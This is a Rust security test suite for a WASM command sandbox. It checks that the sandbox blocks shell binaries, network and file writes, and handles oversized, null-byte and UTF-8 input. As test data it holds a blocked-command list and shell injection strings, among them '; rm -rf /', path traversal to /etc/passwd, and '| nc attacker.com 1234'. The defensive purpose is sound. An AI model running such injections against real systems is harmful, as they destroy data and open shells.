359 lines
9.7 KiB
Rust
359 lines
9.7 KiB
Rust
// Security Tests for RLM Sandbox
|
|
// Tests require: Docker (for sandbox testing)
|
|
//
|
|
// Run with:
|
|
// cargo test -p vapora-rlm --test security_test -- --ignored --nocapture
|
|
|
|
use vapora_rlm::sandbox::wasm_runtime::WasmRuntime;
|
|
use vapora_rlm::sandbox::{SandboxCommand, SandboxTier};
|
|
|
|
#[test]
|
|
#[ignore] // Requires WASM runtime
|
|
fn security_wasm_no_filesystem_write() {
|
|
let runtime = WasmRuntime::new();
|
|
|
|
// Attempt to write to filesystem (should be blocked)
|
|
let command = SandboxCommand::new("write_file")
|
|
.arg("/etc/passwd")
|
|
.stdin("malicious content");
|
|
|
|
let result = runtime.execute(&command);
|
|
|
|
// Should reject unsupported command
|
|
assert!(result.is_err(), "Should reject filesystem write operations");
|
|
|
|
println!("✓ WASM filesystem write blocked");
|
|
}
|
|
|
|
#[test]
|
|
#[ignore] // Requires WASM runtime
|
|
fn security_wasm_no_network_access() {
|
|
let runtime = WasmRuntime::new();
|
|
|
|
// Attempt network operation (should be blocked)
|
|
let command = SandboxCommand::new("curl").arg("http://example.com");
|
|
|
|
let result = runtime.execute(&command);
|
|
|
|
// Should reject unsupported command
|
|
assert!(result.is_err(), "Should reject network operations");
|
|
|
|
println!("✓ WASM network access blocked");
|
|
}
|
|
|
|
#[test]
|
|
#[ignore] // Requires WASM runtime
|
|
fn security_wasm_only_safe_commands() {
|
|
let runtime = WasmRuntime::new();
|
|
|
|
// Test allowed commands
|
|
let safe_commands = vec!["peek", "grep", "slice"];
|
|
|
|
for cmd in safe_commands {
|
|
let command = SandboxCommand::new(cmd).stdin("safe input");
|
|
let result = runtime.execute(&command);
|
|
|
|
assert!(result.is_ok(), "Safe command '{}' should be allowed", cmd);
|
|
}
|
|
|
|
// Test blocked commands
|
|
let unsafe_commands = vec!["bash", "sh", "python", "rm", "chmod", "sudo"];
|
|
|
|
for cmd in unsafe_commands {
|
|
let command = SandboxCommand::new(cmd).stdin("input");
|
|
let result = runtime.execute(&command);
|
|
|
|
assert!(
|
|
result.is_err(),
|
|
"Unsafe command '{}' should be blocked",
|
|
cmd
|
|
);
|
|
}
|
|
|
|
println!("✓ WASM command whitelist enforced");
|
|
}
|
|
|
|
#[test]
|
|
#[ignore] // Requires WASM runtime
|
|
fn security_wasm_input_validation() {
|
|
let runtime = WasmRuntime::new();
|
|
|
|
// Test peek with malicious input
|
|
let malicious_inputs = vec![
|
|
"../../../etc/passwd",
|
|
"/etc/passwd",
|
|
"$(whoami)",
|
|
"; rm -rf /",
|
|
"| nc attacker.com 1234",
|
|
];
|
|
|
|
for input in malicious_inputs {
|
|
let command = SandboxCommand::new("peek").arg("10").stdin(input);
|
|
|
|
let result = runtime.execute(&command);
|
|
|
|
// Should handle safely (no code injection)
|
|
assert!(result.is_ok(), "Should handle malicious input safely");
|
|
|
|
let output = result.unwrap();
|
|
assert!(output.is_success(), "Should execute without errors");
|
|
|
|
// Output should be sanitized (just the input back)
|
|
assert!(
|
|
!output.output.contains("root:") && !output.output.contains("password"),
|
|
"Should not leak system information"
|
|
);
|
|
}
|
|
|
|
println!("✓ WASM input validation passed");
|
|
}
|
|
|
|
#[test]
|
|
#[ignore] // Requires WASM runtime
|
|
fn security_wasm_no_arbitrary_code_execution() {
|
|
let runtime = WasmRuntime::new();
|
|
|
|
// Attempt shell command injection
|
|
let injections = vec![
|
|
"; ls -la",
|
|
"| cat /etc/passwd",
|
|
"&& whoami",
|
|
"`id`",
|
|
"$(uname -a)",
|
|
];
|
|
|
|
for injection in injections {
|
|
let command = SandboxCommand::new("grep")
|
|
.arg(injection)
|
|
.stdin("test input");
|
|
|
|
let result = runtime.execute(&command);
|
|
|
|
// Should execute safely (grep treats it as literal pattern)
|
|
assert!(result.is_ok(), "Should handle injection safely");
|
|
|
|
let output = result.unwrap();
|
|
// Should not execute shell commands
|
|
assert!(
|
|
!output.output.contains("uid=") && !output.output.contains("Linux"),
|
|
"Should not execute injected shell commands"
|
|
);
|
|
}
|
|
|
|
println!("✓ WASM code injection prevention passed");
|
|
}
|
|
|
|
#[test]
|
|
#[ignore] // Requires WASM runtime
|
|
fn security_wasm_resource_limits() {
|
|
let runtime = WasmRuntime::new();
|
|
|
|
// Test with very large input (should handle gracefully)
|
|
let large_input = "x".repeat(10_000_000); // 10MB
|
|
|
|
let command = SandboxCommand::new("peek").arg("10").stdin(large_input);
|
|
|
|
let start = std::time::Instant::now();
|
|
let result = runtime.execute(&command);
|
|
let duration = start.elapsed();
|
|
|
|
// Should complete without hanging
|
|
assert!(
|
|
duration.as_secs() < 10,
|
|
"Should complete in reasonable time"
|
|
);
|
|
|
|
// Should either succeed or fail gracefully
|
|
match result {
|
|
Ok(output) => {
|
|
assert!(output.is_success(), "Should succeed");
|
|
println!(" Handled 10MB input successfully");
|
|
}
|
|
Err(e) => {
|
|
println!(" Gracefully rejected large input: {}", e);
|
|
}
|
|
}
|
|
|
|
println!("✓ WASM resource limits enforced");
|
|
}
|
|
|
|
#[test]
|
|
#[ignore] // Requires WASM runtime
|
|
fn security_wasm_tier_identification() {
|
|
let runtime = WasmRuntime::new();
|
|
|
|
let command = SandboxCommand::new("peek").arg("5").stdin("test input");
|
|
|
|
let result = runtime.execute(&command).unwrap();
|
|
|
|
// Verify it reports correct tier
|
|
assert_eq!(
|
|
result.tier,
|
|
SandboxTier::Wasm,
|
|
"Should execute in WASM tier"
|
|
);
|
|
|
|
println!("✓ WASM tier correctly identified");
|
|
}
|
|
|
|
#[test]
|
|
#[ignore] // Requires WASM runtime
|
|
fn security_wasm_no_side_effects() {
|
|
let runtime = WasmRuntime::new();
|
|
|
|
// Execute command multiple times
|
|
for i in 0..10 {
|
|
let command = SandboxCommand::new("grep")
|
|
.arg("test")
|
|
.stdin(format!("test input {}", i));
|
|
|
|
let result = runtime.execute(&command).unwrap();
|
|
|
|
// Each execution should be isolated (no state carryover)
|
|
assert!(result.is_success(), "Execution {} should succeed", i);
|
|
}
|
|
|
|
println!("✓ WASM executions are isolated (no side effects)");
|
|
}
|
|
|
|
#[test]
|
|
#[ignore] // Requires WASM runtime
|
|
fn security_wasm_deterministic_behavior() {
|
|
let runtime = WasmRuntime::new();
|
|
|
|
let input = "line1\nline2\nline3\nline4\nline5";
|
|
|
|
// Run same command multiple times
|
|
let mut outputs = Vec::new();
|
|
for _ in 0..5 {
|
|
let command = SandboxCommand::new("peek").arg("3").stdin(input);
|
|
|
|
let result = runtime.execute(&command).unwrap();
|
|
outputs.push(result.output);
|
|
}
|
|
|
|
// All outputs should be identical
|
|
for output in &outputs[1..] {
|
|
assert_eq!(output, &outputs[0], "Outputs should be deterministic");
|
|
}
|
|
|
|
println!("✓ WASM behavior is deterministic");
|
|
}
|
|
|
|
#[test]
|
|
#[ignore] // Requires WASM runtime
|
|
fn security_wasm_slice_bounds_checking() {
|
|
let runtime = WasmRuntime::new();
|
|
|
|
let input = "Hello, World!";
|
|
|
|
// Test out-of-bounds slice
|
|
let command = SandboxCommand::new("slice")
|
|
.arg("0")
|
|
.arg("1000") // Beyond string length
|
|
.stdin(input);
|
|
|
|
let result = runtime.execute(&command);
|
|
|
|
// Should handle gracefully (no panic)
|
|
assert!(result.is_ok(), "Should handle out-of-bounds slice");
|
|
|
|
let output = result.unwrap();
|
|
assert!(output.is_success(), "Should succeed");
|
|
assert_eq!(output.output, input, "Should return available content");
|
|
|
|
println!("✓ WASM slice bounds checking passed");
|
|
}
|
|
|
|
#[test]
|
|
#[ignore] // Requires WASM runtime
|
|
fn security_wasm_null_byte_handling() {
|
|
let runtime = WasmRuntime::new();
|
|
|
|
// Test null byte injection
|
|
let input = "line1\nline2\0malicious\nline3";
|
|
|
|
let command = SandboxCommand::new("peek").arg("5").stdin(input);
|
|
|
|
let result = runtime.execute(&command);
|
|
|
|
// Should handle null bytes safely
|
|
assert!(result.is_ok(), "Should handle null bytes safely");
|
|
|
|
println!("✓ WASM null byte handling passed");
|
|
}
|
|
|
|
#[test]
|
|
fn security_wasm_creation_always_succeeds() {
|
|
// Creating WASM runtime should never fail
|
|
let _runtime1 = WasmRuntime::new();
|
|
let _runtime2 = WasmRuntime::default();
|
|
|
|
// Can create multiple instances
|
|
let runtimes: Vec<_> = (0..10).map(|_| WasmRuntime::new()).collect();
|
|
|
|
assert_eq!(runtimes.len(), 10, "Should create multiple runtimes");
|
|
|
|
println!("✓ WASM runtime creation is safe");
|
|
}
|
|
|
|
#[test]
|
|
#[ignore] // Requires WASM runtime
|
|
fn security_wasm_concurrent_execution() {
|
|
use std::sync::Arc;
|
|
use std::thread;
|
|
|
|
let runtime = Arc::new(WasmRuntime::new());
|
|
|
|
// Run concurrent executions from multiple threads
|
|
let handles: Vec<_> = (0..10)
|
|
.map(|i| {
|
|
let runtime = runtime.clone();
|
|
thread::spawn(move || {
|
|
let command = SandboxCommand::new("grep")
|
|
.arg("test")
|
|
.stdin(format!("test input {}", i));
|
|
|
|
runtime.execute(&command)
|
|
})
|
|
})
|
|
.collect();
|
|
|
|
// All should succeed
|
|
for handle in handles {
|
|
let result = handle.join().unwrap();
|
|
assert!(result.is_ok(), "Concurrent execution should succeed");
|
|
}
|
|
|
|
println!("✓ WASM concurrent execution is thread-safe");
|
|
}
|
|
|
|
#[test]
|
|
#[ignore] // Requires WASM runtime
|
|
fn security_wasm_utf8_handling() {
|
|
let runtime = WasmRuntime::new();
|
|
|
|
// Test various UTF-8 sequences
|
|
let utf8_inputs = vec![
|
|
"Hello, 世界!",
|
|
"Rust 🦀 Programming",
|
|
"Emoji: 😀 💻 🚀",
|
|
"Math: ∑ ∏ ∫ ∂",
|
|
"Arabic: مرحبا",
|
|
"Hebrew: שלום",
|
|
];
|
|
|
|
for input in utf8_inputs {
|
|
let command = SandboxCommand::new("peek").arg("10").stdin(input);
|
|
|
|
let result = runtime.execute(&command);
|
|
|
|
assert!(result.is_ok(), "Should handle UTF-8: {}", input);
|
|
|
|
let output = result.unwrap();
|
|
assert!(output.is_success(), "Should succeed with UTF-8");
|
|
}
|
|
|
|
println!("✓ WASM UTF-8 handling passed");
|
|
}
|